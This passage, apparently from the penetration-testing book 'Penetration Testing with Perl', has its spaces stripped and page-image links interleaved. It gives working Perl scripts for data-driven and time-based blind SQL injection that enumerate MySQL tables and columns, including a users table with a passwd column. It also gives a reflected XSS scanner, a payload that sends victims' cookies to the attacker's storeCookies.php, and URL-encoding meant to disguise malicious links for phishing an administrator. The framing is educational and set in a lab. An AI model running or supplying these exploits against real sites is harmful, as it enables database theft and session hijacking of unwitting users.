Data-drivenblindSQLinjectionWecannowusePerltoexploitanSQLvulnerabilityinwhichtheMySQLerrorisprintedtothewebpage.However,howshouldwehandlethevulnerabilityifthewebserverisconfiguredtonothandleerrors?Well,wecanblindlystepthroughqueries,makingHTTPrequestsinthehopeofgatheringthecorrectresultsets.ThistypeofblindSQLinjectionrequiresmanymoreHTTPrequestsandmoreinvestigationonourpart.Forexample,whenerrorreportingtothewebpagefromMySQLisdisabled,itsohappensthatnothing(norecord)isdisplayedonthepagewhenunsuccessfulSQLinjectioncausesanerror.Thismeansthatwecanstillpotentiallygetthecolumncountbycyclingthroughintegersstartingfrom1,untiltheHTMLcontentobject($res->content)fromLWP::UserAgentreturnsnothing.First,weneedtofindtheHTMLthatisdynamicallypopulatedwithinthewebpageandparseitoutusingjustPerl.Inthecaseofourexploitableshowget.phpfile,thetable’sHTMLIDattributeistableOut,asshowninthefollowingsourcecode:<tableid=‘tableOut’><tr><td>09.06.2014</td><td>Ilovethiswebsite!</td>
</tr></table></body>
TheHTMLIDattribute,whichmakestheprogrammer’sjobeasierwhenpopulatingthepagewithdata,alsomakesourjobasthepenetrationtestereasier.TheprecedinglineofcodechangeseachtimewechangetheidURLGETparameter.Wecanseethatboththedateandthecommentchange,butthisdoesnotnecessarilymeanthattheSQLtableorviewhasonlytwofields.Whenweinput9,aSQLerrorcausesthetableOutHTMLtabletobecomeempty:<tableid=‘tableOut’></table></body>
Now,wecanusethesamealgorithmthatweusedintheprevioussection’scolCount()subroutine,inordertodeducethecolumncount.Again,thisiswhereasolidregularexpressioncanreallyshineinpenetrationtestingwithPerl.Ifwelookatthepreviouspattern,wecaneasilyseetheuniquenessfromtheIDattributetotheendingtableHTMLtag,andwecanconstructtheregexpassomethinglikethis:eOut’>([^<]+)<\/tab
Ifsuccessful,backreference$1willcontainthereturneddatafromthedatabasetable.Let’simplementthisinasmall,simplisticPerlprogramandloopthroughtheIDintegeruntilwedetectthedifference:#!/usr/bin/perl-w
usestrict;
useLWP::UserAgent;
my$ua=LWP::UserAgent->new;#nowspoofaUA:
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
$ua->from(‘[email protected]’);
$ua->timeout(10);#setupatimeout
my($host,$port,$file)=@ARGV;#pass<HOST><PORT><FILE>
my$i=0;
while($i++<33){
(my$url=“http://”.$host.”:”.$port.$file.”orderby1”)=~s/(rby)
[0-9]+$/$1$i/;
![Page 202: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/202.jpg)
if($ua->get($url)->content=~m/Out’><\/tab/){
print“Columns:“,$i-1,”\n”;
last;
}
}
Thissmall,lightweightPerlscriptwilltestforintegerblindSQLinjectionvulnerabilitiesonthefirstGETparameterprovidedbythe$fileargument.Insteadofbuildinguponthisandrepeatingwhatwehavealreadydone,let’smoveontoyetanotherformofSQLinjection,time-basedblindSQLinjection.
![Page 203: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/203.jpg)
Time-basedblindSQLinjectionSomewebpagesarewritteninawayinwhichnodataisactuallypresentedonawebpage,includingerrorsanddatabasedata.Inthiscase,weneedtoexploittheMySQLif()andsubstring()functionstoperformtrueorfalseoperations.Wecanusethesefunctionswiththesleep()MySQLfunctionandchecktheresponsetimefromtheserverforeachquery.Ifwecreativelytelltheservertosleep()onreturningtrue,weknowthatourquerywassuccessful.Thisistime-basedblindSQLinjectioninitssimplestform.Thismethodmightnotalwaysbethemostreliableoneinsomecircumstances,sincethereturnedresultreliesonalotofmovingparts,whichcouldthrowoffthereadingoftime,suchasthenetwork,serverload,orevenanylocalnetworkbottleneckssuchasslowlinkstothelocalrouterorgateway.Again,wecanbankonthefactthatMySQLhasadefaultinformation_schemadatabaseandthetablestablewithinittoqueryformoretablenames.Let’sperformasimpleblindSQLinjectionattackonasingleper-bytebasisusingPerl.First,let’sconstructourSQLsubquerytocreateanindexandaliasedcolumnnames:selectTABLE_NAMEfrom(select@r:=@r+1asid,TABLE_NAMEfrom(select
@r:=0)r,information_schema.tablespwheretable_rows>1)kwhereid=1
ThispreviousSQLqueryprogrammaticallycreatesanindexaliasofidasifitwerepartofthetablestablethatwecanusetoincrementuntilwefindalltablenames.ThedirectoutputofthisqueryonourMySQLserverproducesdbasthefirsttableresultfromthetablestable.Let’susethesubstring()MySQLfunctiontocheckeachbyteuntilwehavetheentiretablenameasfollows:
1. First,ourSQLquerywillnowlooklikethis:
selectnull,if((SUBSTRING((selectTABLE_NAMEfrom(select@r:=@r+1as
id,TABLE_NAMEfrom(select@r:=0)r,information_schema.tablespwhere
table_rows>1)kwhereid=1),1,1)=‘a’),sleep(2),‘false’),null
2. Thesleep()functionwillsleepfor2secondsanddelayourserverfromrespondingrightawayiftheif()functionreturnstrue.
3. WecanthenuseaPerlmodule,suchasTime::HiRes,toanalyzethetimeittakesfortheservertorespond.
4. Also,thesubstring()functioncheckstoseewhetherthefirstcharacterofthetablenamestartswithana.
5. Wewillneedtotestallnumbers,letters,hyphen,andunderscore,untilthereturnedresponsetakesatleast2secondsfromtheserver.
6. WewillrunTime::HiResonanormalwebpagecallwithanon-mangledGETparametertogetafeelofthetimeittakesforanormalquery,andbenchmarkthisagainstourownqueriesthatreturntrue,therebyadding2secondstoit.
7. Also,anotherwayinwhichwecanslightlyoptimizeourapplicationisbygatheringthecolumnlengthbeforeperformingtheper-bytebruteforceattack.Ourbytearrayintheattackincludesathroughz,0through9,-,and_;that’s38queriesthataredonefornothingafterthefinalbyteofthecolumnnamewasdetermined.
8. Let’susethechar_length()MySQLfunctiontofirstfindthecolumn’slengthbeforetryingtheblindbruteforceattackasfollows:
![Page 204: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/204.jpg)
selectif((selectchar_length(TABLE_NAME)from(select@r:=@r+1as
id,TABLE_NAMEfrom(select@r:=0)r,information_schema.tablespwhere
table_rows>1)kwhereid=3)=-INT-,sleep(2),‘false’);
9. ThisqueryisjustliketheearlierSQLif()example,butitaddsthechar_length()function,andwecanincrementtheplaceholdervalueof-INT-untilthedatabasesleepsuntilthetimespecifiedinthesleep()functionreturnstrue.
10. Now,let’scoverafulltime-basedblindSQLinjectionapplicationusingPerlinseveralsections.Thefirstsection,asusual,willbetheglobalvaluesanddirectivestoincludePerlmodules.#!/usr/bin/perl-w
usestrict;
useLWP::UserAgent;
useTime::HiRes;
$|=1;#donotbufferoutputper-byte
my($host,$port,$file)=@ARGV;#arguments
my$ua=LWP::UserAgent->new;#nowspoofaUA:
my@chars=(‘a’..‘z’,0..9,‘_’,’-‘);#allcharstotest
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
$ua->from(‘[email protected]’);
$ua->timeout(10);#setupatimeout
my$delaySecs=0;#determinehowmanysecondstodelay
my$origTime=getPage($file);#originaltimeforquery
$delaySecs=int($origTime+2);#adddelayasMySQLsleep();
my$totalReqs=0;#totalHTTPrequests
my%rowLens;#allrowlengths
my%colLens;#allcolumnlengthsofalltables
my$nulls=””;#howmuchpaddingdoweneed?
my@tables;#keeptrackoftables
my$rc=0;#recordcount
Thecommentsaftereachlinespecifyexactlywhatthevariableisusedfor.Basically,wewillneedtokeeptabsoneverythinguntiltheapplicationrunsoutofdatafromtheserver.
Next,wewillshowourSQLqueries:#belowarequerystringswithplaceholdersas-VAR-
#Aper-bytequeryforblindlysteppingthrough:
my$charByte=”unionselectif((SUBSTRING((selectTABLE_NAMEfrom(select
\@r:=\@r%2B1asid,TABLE_NAME”
.”from(select\@r:=0)r,information_schema.tablespwhere
table_rows>1)kwhereid=-ID-),-INT-,1)=“
.”’-VAR-‘),sleep(“.$delaySecs.”),‘false’)-NULL-“;
#gettherecordcount:
my$rowCount=”unionselectif(((selectcount(TABLE_NAME)from(select
\@r:=\@r%2B1asid,TABLE_NAMEfrom”
.”(select\@r:=0)r,information_schema.tablespwheretable_rows>
1)k)=-INT-),sleep(“.$delaySecs.”),‘false’)-NULL-“;
#getthefieldlength
my$fieldLen=”unionselectif((selectchar_length(TABLE_NAME)from
(select\@r:=\@r%2B1asid,TABLE_NAMEfrom(select\@r:=0)“
.“r,information_schema.tablespwheretable_rows>1)kwhereid=-
ID-)=-INT-,sleep(“.$delaySecs.”),‘false’)-NULL-“;
![Page 205: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/205.jpg)
my$curCols=”unionselect(selectif((selectcount(*)from
information_schema.tables),sleep(“.$delaySecs.”),‘false’))”;
#Getthetotalcolumnspertable:
my$colCount=”unionselectif(((selectcount(column_name)from
information_schema.columnswheretable_name=‘-TBL-‘)=-INT-),”
.“sleep(“.$delaySecs.”),‘f’)-NULL-“;
#Getcolumnname(perbyte):
my$colName=”unionselectif((SUBSTRING((selectcolumn_NAMEfrom(select
\@r:=\@r%2B1asid,column_NAMEfrom(select\@r:=0)“
.“r,information_schema.columnspwheretable_name=‘-TBL-‘)k
whereid=-ID-),-INT-,1)=‘-VAR-‘),sleep(“.$delaySecs.”),‘f’)-NULL-“;
#columnlengths:(TBL,ID)
my$colLen=”unionselectif((selectchar_length((selectcolumn_namefrom
(select\@r:=\@r%2B1asid,column_namefrom(select\@r:=0)r,”
.“information_schema.columnspwheretable_name=‘-TBL-‘)kwhere
id=-ID-))=-INT-),sleep(“.$delaySecs.”),‘f’)-NULL-“;
#tablerecordcount
my$tblRecs=”unionselectif(((selectcount(*)from-TBL-)=-INT-
),sleep(“.$delaySecs.”),‘f’)-NULL-“;
Thesearemassivequeries.Theyactuallyneedtobe,becauseweareinthedarkandaretryingtoseeasmuchaspossible.Wearebasicallyfeelingourwaythroughthedatabylisteningforpausesandresponsetimes.Eachonehasasmallcommentaboveit,explainingitspurpose.Thesearegeneralizedqueriesandeachofthemhasplaceholdersforsubstitutioninloops.Beforeeachquery,wewillneedtoperformthepropersubstitutions.#querystringcopiestosubstituteplaceholders
my$qRowCount=$rowCount;
my$qFieldLen=$fieldLen;
my$qCharByte=$charByte;
print“Host:“,$host,”\nPort:“,$port,”\nFile:“,$file,”\n”;
injCols();#getcolumncountforinjection
print“Delaytime:“,$delaySecs,”\nTables:“,getCount($rowCount,”),”\n”;
getLength($fieldLen,“tbl”,$rc);#populate@rowLens
getChars($rc,“Tbl”,$charByte);#gettablenames
Here,wemadelocalcopiesofthequeriessothatwecanmakesubstitutionswithoutclobberingtheoriginals.Then,wefinallycometoourworkflowinwhichwecallseveralsubroutinesthatwewillcovernext.Weprintgeneralinformationaboutthetarget,includingthehostname,port,file,injectionpointcolumncount,anddelaytime,andwepopulatethetablelengthsandnames.subgetCols{#getcolumsnper-byte
my$tbl=shift;#tabletogetcolumnsfor
my$colSum=getCount($colCount,$tbl);#columncount
print“Table:(“,$tbl,”)columns:“,$colSum,”\n”;
print“TotalRecords:“,getCount($tblRecs,$tbl),”\n”;#
displayrecordcount
getLength($colLen,“col”,$colSum,$tbl);#populate%colLens
(my$query=$colName)=~s/-TBL-/$tbl/;
getChars($colSum,“Columns:“,$query);#numberofrecords,
%colLens=();#reset%colLens
}
TheprecedinggetCols()subroutineretrievesthecolumnnamesforthetablename
![Page 206: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/206.jpg)
passedtoit.Likemostofthefunctionsinthisprogram,itcallsthegetChar()subroutinebypassingtheiterationcount,querytype,andtheactualSQLquery.subgetChars{#getcharactersbyte*byte
my($count,$queType,$query)=@_;
for(my$i=1;$i<=$count;$i++){#foreachrecord
my$string=””;
my$iteration=1;
(my$qQuery=$query)=~s/-ID-/$i/;#updatetherecord
if($queTypeeq“Tbl”){
$iteration=$rowLens{$i};
}elsif($queTypeeq“Columns:“){
$iteration=$colLens{$i};
}
for(my$j=1;$j<=$iteration;$j++){#foreachbyteinfield
(my$qQuery2=$qQuery)=~s/-INT-/$j/;
foreachmy$byte(@chars){#foreachbyte
(my$qQuery3=$qQuery2)=~s/-VAR-/$byte/;#substitutevariable
if(getPage($qQuery3)>$delaySecs){#getit
$string.=$byte;
last;
}
}
}
if($queTypeeq“Tbl”){
push(@tables,$string);
getCols($string);#getcolumnnamesbeforeproceeding
}else{
print“\t”,$i,”:“,$string,”\n”;
}
}
}
TheprecedinggetChar()subroutinetrieseverycharacterin@char,bymakingaquerytotheserverperbyte.Wefirstsubstituteallplaceholdersbeforemakingthequery.Iftheresponsetakeslongerthanthe$delaySecstimereturnedbythegetPage()subroutineperquery,thenthepauseindicatesasuccess,andthebyteisourbyte,andweappendittothe$stringvariable.IfthequerytypeisTbl,wepopulatethe@tablesarraywiththe$string,orwesimplyjustprintittothescreen.subgetLength{#getfieldlength
my($query,$queType,$count,$tbl)=@_;
$query=~s/-TBL-/$tbl/if($queTypeeq“col”);
for(my$i=1;$i<=$count;$i++){#foreachrecord
my$fl=1;#resetfieldlengthtoken
(my$qQuery=$query)=~s/-ID-/$i/;
while($fl<100){#restrictionforbrevity
my$qQuery2=$qQuery;#resetvar-INT-
$qQuery2=~s/-INT-/$fl/;
if(getPage($qQuery2)>$delaySecs){
if($queTypeeq“tbl”){#atablesquery
print“Table“,$i,”length:“,$fl,”\n”;
$rowLens{$i}=$fl;
}else{
$colLens{$i}=$fl;
}
![Page 207: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/207.jpg)
last;#completed
}
$fl++;#fieldlengthlongernow
}
}
}
TheprecedingsubroutinegetLength()returnsthelengthofthefieldbyincrementingfrom$i=1untilwegetaresponsewhosereturntimeisgreaterthan$delaySecs.First,wesubstitutethetablenameintothe-TBL-placeholderlocatedinour$querywiththe$tblstringvariablethatwaspassedtooursubroutine.Then,foreachrecordweupdatethe-ID-placeholderandthencyclethroughthe-INT-placeholdervaluesofthe$flvariableuntilwegetourlength,whichisusedtopopulateeitherthe%colLensor%rowLensPerlhashes.ThesehashesareusedforiterationcountsinthegetChar()subroutinesothatweknowwhentostopbruteforcingtheserverperfieldname.subgetCount{
my($query,$tbl)=@_;
$query=~s/-TBL-/$tbl/;#substitutetablename
my$c=1;#atleast1rowtoken
while($c<20){#restrictionforbrevity
(my$qQuery=$query)=~s/-INT-/$c/;
if(getPage($qQuery)>$delaySecs){
last;
}
$c++;
}
$rc=$cif$query=~m/unt\(TAB/;#recordcount
return$c;#returncount
}
TheprecedinggetCount()subroutineisusedtoretrievetable,column,andrecordtotals.Thisbringsourquerycountdownaswearesteppingthroughthedatabaseonaper-bytebasis.The-INT-placeholderissubstitutedwiththesimpleinteger$cperquery,andthisisverysimilartohowweretrievedthecountsinpreviousSQLinjectionapplicationsintheearliersections.Thecountisreturnedsothatitcanbepassedtootherfunctionsorassignedtovariables.Thenextsubroutineisusedtofindthecolumncountofthecurrenttableinordertopadwithnullvalues.subinjCols{#getcolumncountofcurrenttableforinjection
my$k=0;
while(getPage($curCols)<$delaySecs){
$k++;
$nulls.=”,null”;
$curCols.=”,null”;
}
print“Columncount:“,($k+1),”\n”;
return;
}
Weneedthisjustaswedidinthepreviousexamplessothatwedon’thaveacolumncountmismatchSQLerror.Itsimplykeepsappendingnullstothequeryuntiltheserverresponsetimeisgreaterthan$delaySecs.Finally,wehaveourgetPage()subroutine.Thissubroutineexistsforcodededuplication.
![Page 208: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/208.jpg)
subgetPage{#makeHTTP/SQLquerytoserver
my$query=shift;#SQLqueryinput
my$start=[Time::HiRes::gettimeofday()];
my$url=“http://”.$host.”:”.$port.”/”.$file.$query;
$url=~s/-NULL-/$nulls/;#appendnullsforproperinjection
my$res=$ua->get($url);#gettheURL
$totalReqs++;#recordcounting
my$time=Time::HiRes::tv_interval($start);
if($res->is_success){
return$time;#returnthetimeittook
}else{#HTTPconnectionfailed:
die“Couldnotcontacttheserver.”;
}
}
END{
print“\nRequests:“,$totalReqs,”\n”;
}
WepasstheSQLquerytoit,constructthe$urlobject,checkourwatchwithTime::HiRes,makethecalltotheserver,andthencheckourwatchagaintofindthedifferenceintime.Weusethetv_interval()functionfromtheTime::HighResPerlmoduletodothis.Then,wereturn$timefromthesubroutinesothatitcanbeinterpretedbyotherfunctions.
Let’srunthisagainstourshowget.phpfileafterdisablingthemysql_error()printinPHP.
root@wnld960:~#perltime.pl10.0.0.15180‘vuln/showget.php?id=3’
Host:10.0.0.15
Port:180
File:vuln/showget.php?id=3
Columncount:3
Delaytime:2
Tables:4
Table1length:4
Table2length:5
Table3length:7
Table4length:13
Table:(test)columns:3
TotalRecords:5
1:id
2:db
3:tbl
Table:(users)columns:3
TotalRecords:6
1:id
2:username
3:passwd
Table:(webdata)columns:3
TotalRecords:7
1:id
2:date
3:comment
Table:(webdatastring)columns:3
![Page 209: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/209.jpg)
TotalRecords:4
1:id
2:dat
3:comment
Requests:954
root@wnld960:~#
Theprecedingoutputshowsasuccessfulper-bytetime-basedblindSQLinjectionattack.ThedifferenceinquerycountindicatesthatthisattackisnowherenearasstealthyasabasicSQLinjectionattack.
![Page 210: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/210.jpg)
SummaryWecanfindmanywaystooptimizeourSQLinjectionapplications.Forinstance,wecantestforcommonly-usedtableorcolumnnamesbeforerunningaper-bytecheckonaserver.ThischapterprovidesaneasyinsightintohowtocraftanSQLinjectiontoolthatsuitsourneeds.SQLinjectionisanartform.Ittakesintuition,creativity,experience,andsolidbackgroundknowledgeofalltechnologiesinvolvedtomasterit.Inthenextchapter,wemoveontoothermethodsofwebapplicationpenetrationtestingwithPerl,suchascross-sitescripting,contentmanagementsystemvulnerabilities,andfileinclusionattacks.
![Page 211: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/211.jpg)
Chapter8.OtherWeb-basedAttacksTherearemanymethodsusingwhichwecanexploitweaknessesinwebapplications.Inthischapter,wewilllookathowwecanusePerltoautomatewebapplicationvulnerabilitydiscoveryforcross-sitescriptingandfileinclusionattacks.Wewillalsobelearninghowwecaneffectivelyexploitthesevulnerabilitieswithalittlehelpfromsocialengineering.Then,wemoveontocontentmanagementsystemsandhowpotentialvulnerabilitiescanbediscoveredwithsimplePerlprogramsthatutilizeonlineresourcesforupdatedexploits.Duringthis,wewillcoverhowtohandledifferentHTTPresponsesusingLWP::UserAgentandhowwecancreativelyusethisskilltofindmoreinformationfromourclientvictim’sservers.
Thischapterwillrequireawebserver,SQLdatabase,andvulnerablewebservicetocarryoutanattack.Fortheexamples,wewillbeusingtheBoldIt!onlineserviceforboldingtext.
![Page 212: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/212.jpg)
Cross-sitescriptingCross-sitescripting(XSS)isaweb-basedcodeinjectionattack.Ifawebapplicationdoesnotproperlysanitizeuserinputbyfirstremovingspecialcharactersor,inourcase,HTMLtags,anattackercancreateamalformedURLthatcontainsURL-encodedJavaScriptcodetothevictimthatwillexecutewhenthevictimclicksonthelink.Forexample,asimpleHTTPGETparameterofid=ChloecouldbealteredtoincludeJavaScriptasid=<script>alert(“XSS!”);</script>,whichwillthenexecuteintothevictim’sbrowseruponclickingourlink.By“URLencoded”wesimplymeanthatwehavechangedalloftheASCIIcharacterstotheirhexadecimalvaluestosafelytransmittheURLovertheInternet.Forinstance,anequalssign,=,wouldbeencodedas%3Dandagreaterthansymbol,>,wouldbeencodedas%3E.ThisalsohelpstheattackerbyaddingobscuritytotheURLinjectedJavaScriptcode.ThistypeofXSSattackisnonpersistent,orreflectedXSS,sinceitdoesn’trequireustowriteourcodepermanentlyintoadatabase.
![Page 213: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/213.jpg)
ThereflectedXSSLet’sjumprightinandworkwithareflectedXSSexample.WewillbeattackingtheBoldIt!service,whichboldstextforpublicandprivateusers.
Ifwebrowsethepage,wearepromptedwithanoptionalloginandanoptiontoboldastatementasshowninthefollowingscreenshot:
Sincethisisaprivateinvitationonlysite,there’snooptiontoregister.Whatwedoseeintheprecedingscreenshothoweverisane-mailaddressoftheadminofthesite(<admin@boldIt!.info>),whichwecanuseifwedofindvulnerabilityforasocialengineeringphishingattackusingourPerlprograms.
AfterweputinafewwordstotheBoldIt!serviceandclickonthebutton,wearepresentedwiththetextinboldonanewPHPpage,BoldText.php.Let’strytoinjectcodeintothepageforanXSSvulnerabilitytest.Forourinputstring,wewilluseBOLDIT<script>alert(‘xss’);</script>andtestintheFirefoxbrowser.
TipFirefoxhasnoprotectionagainstXSSbydefault,atthetimeofwritingthisbook.GoogleChromedoes,however.Soduringourpenetrationtest,ifwecomeacrossanXSSvulnerability,weneedtomakesuretheadminclicksonourlinkwiththecorrectbrowser,whichwilltakeasmallbitofcreativityandsocialengineering.
![Page 214: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/214.jpg)
Intheprecedingscreenshot,weseeasuccessfulXSSexploit.ThisisthesimplestwaytotestforXSSwithasingleHTTPrequest.
Whentheinputisproperlysanitizedbythewebprogram,wemightseeourinjectedcodeinthepage,anduponanalyzingtheHTML,itmighthave<and>usedinittodisplaythecode’sopeningandclosingbracketsinthepage.Somewebapplicationsalsochangequotationmarksintospaces,orsimplynothingatall.Let’sseehowwecanusePerlnowtotestforsuchavulnerability:#!/usr/bin/perl-w
usestrict;
useLWP::UserAgent;
my$usage=“Usage:./xss1<fullURLtopage>”;
my$url=shift||die$usage;
my$ua=LWP::UserAgent->new;#nowspoofaUA:
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)
Gecko/20110614Firefox/3.6.18”);
$ua->from(‘[email protected]’);
$ua->timeout(10);#setupatimeout
my$req=$ua->get($url);
my@dom=split(“\015?\012”,$req->content());
my$action=””;#formaction(file)
my@names;#nameattributesfromform
subcheckVuln($);
foreach(@dom){
if(m/<form\s.*((action=(“|’)([^”’]+)\3.*method=(“|’)get\5)|(method=
(“|’)get\7.*action=(“|’)([^”’]+)\8))/i){
print“WehaveaGETrequestandtheactionis:“;
$action=$4?$4:$9;#assignthefoundactionfrombackreference
print$action,”\n”;
}
if($actionne””){#weareinourform,takenames:
push(@names,$2)if(m/name=(“|’)([^”’]+)\1/);
![Page 215: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/215.jpg)
}
}
checkVuln($_)foreach(@names);
subcheckVuln($){#trythefileforeachmangledattributeinGET
my$name=shift;
(my$nUrl=$url)=~s/[^\/]+$//;
$nUrl.=$action.”?”.$name.”=XSS<script>alert(‘xss’);</script>”;
print“TestingURL:“,$nUrl,”\n”;
$req=$ua->get($nUrl);
foreach(split(“\015?\012”,$req->content)){
print“XSSfoundon“,$name,”infile“,$action,”\n”if(m/<script>alert\
(‘xss’\);<\/script>/);
}
return;
}
Intheprecedingcode,wesimplyusedtheLWP::UserAgentPerlmoduletorequestthepage.Wethensearchedthroughthereturnedcontent,andifwefoundaformthathasanactiondefinedandamethodofGET,westartedsearchingtheformforHTMLNAMEattributestomanglewithJavaScriptcodeinjection.TheregularexpressiontofindtheseusesbackreferencesandisdynamicenoughtoaccommodatemostHTMLforms./<form\s.*((action=(“|’)([^”’]+)\3.*method=(“|’)get\5)|(method=
(“|’)get\7.*action=(“|’)([^”’]+)\8))
Thefirstpartsimplysearchesforthe<formstringfollowedbyaspace.Thenweusethe(|)BooleanORlogictocheckforeithertheACTIONattributeofafilenameorURLandaMETHODattributeofGET,oraMETHODattributeofGETandanACTIONofafilename,ifthedevelopersdecidedtouseeitherorder.Thebackreferenceintheactualregularexpression,\3,\5,\7,and\8,simplyreferstothetypeofquoteusedtosurroundthatparticularHTMLattributevalue.Thisiswhythefirstquoteisabackreferenceitself(“|’)ineachmatch.ThecheckVuln()subroutineactuallychecksthecontentreturnedbythecontentmethodofthe$reqobjectforHTML.Again,ifthiswereproperlysanitizedwewillseeastringasfollows:XSS<script>alert(xss);<script/>
Wewillseethisstringratherthanactualcode.
ThisisaneasyvulnerabilitytotestwithPerlandregularexpressionsusingtheLWP::UserAgentPerlmodule.Toexploitthisvulnerability,weshouldconsidergatheringcookiedatafromthevictim.Todoso,wewillneedourownhandlerandforourexamplepurposeswehaveonecalledstoreCookies.phponourlocalsite.Let’sinjectJavaScriptcode,whichforwardstheusertothestoreCookies.phppageonourserver.Itwillthendumpthecookies,passedasasingleGETparameter,cookie,intotheboldItCookies.txtfile,andredirecttheuserbacktothesiteasiftheyneverleft.NowtheURLwewouldsendtoavictimlookslikethefollowing:http://10.0.0.15:180/vuln/boldText.php?
boldText=XSS<script>window.location=“http://10.0.0.15:180/local/storeCookies.php?
cookie=”%2Bdocument.cookie;</script>
![Page 216: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/216.jpg)
URLencodingUnfortunatelyforus,mostvictimswillnotnormallyfallforthisattackbecauseofthecodeintheURL.Whatwecandoisaddahashmapinourapplication,whichwillprintouttheURLencodedtolookslightlylesssuspicious.Let’saddthisasasimplesubroutine:
1. First,wewillcreateagianthashmapwithallcharactersandtheirassociatedHTML
encodedvalues,forexample,‘+’=>‘%2B’.Normally,wewouldsimplyuseaCPANmoduleforthis,butatthetimeofwritingthisbook,theURL::Encodemoduleonlyencodescertaincharacters,andforthepurposeofbeingstealthy,wewantallofthecharactersencoded.Thefollowingisourhashmap:my%hashMap=(#CannotuseURL::EncodeforSEpurposes
‘!’=>‘%21’,’”’=>‘%22’,’#’=>‘%23’,’$’=>‘%24’,’%’=>‘%25’,’&’=>
‘%26’,”’”=>‘%27’,
‘(‘=>‘%28’,’)’=>‘%29’,’*’=>‘%2A’,’+’=>‘%2B’,’,’=>‘%2C’,’-‘=>
‘%2D’,’.’=>‘%2E’,
‘/’=>‘%2F’,‘0’=>‘%30’,‘1’=>‘%31’,‘2’=>‘%32’,‘3’=>‘%33’,‘4’=>
‘%34’,‘5’=>‘%35’,
‘6’=>‘%36’,‘7’=>‘%37’,‘8’=>‘%38’,‘9’=>‘%39’,’:’=>‘%3A’,’;’=>
‘%3B’,’<’=>‘%3C’,
‘=’=>‘%3D’,’>’=>‘%3E’,’?’=>‘%3F’,’@’=>‘%40’,’[‘=>‘%5B’,’\’=>
‘%5C’,’]’=>‘%5D’,
‘^’=>‘%5E’,‘_’=>‘%5F’,’`’=>‘%60’,‘a’=>‘%61’,‘b’=>‘%62’,‘c’=>
‘%63’,‘d’=>‘%64’,
‘e’=>‘%65’,‘f’=>‘%66’,‘g’=>‘%67’,‘h’=>‘%68’,‘i’=>‘%69’,‘j’=>
‘%6A’,‘k’=>‘%6B’,
‘l’=>‘%6C’,‘m’=>‘%6D’,‘n’=>‘%6E’,‘o’=>‘%6F’,‘p’=>‘%70’,‘q’=>
‘%71’,‘r’=>‘%72’,
‘s’=>‘%73’,‘t’=>‘%74’,‘u’=>‘%75’,‘v’=>‘%76’,‘w’=>‘%77’,‘x’=>
‘%78’,‘y’=>‘%79’,
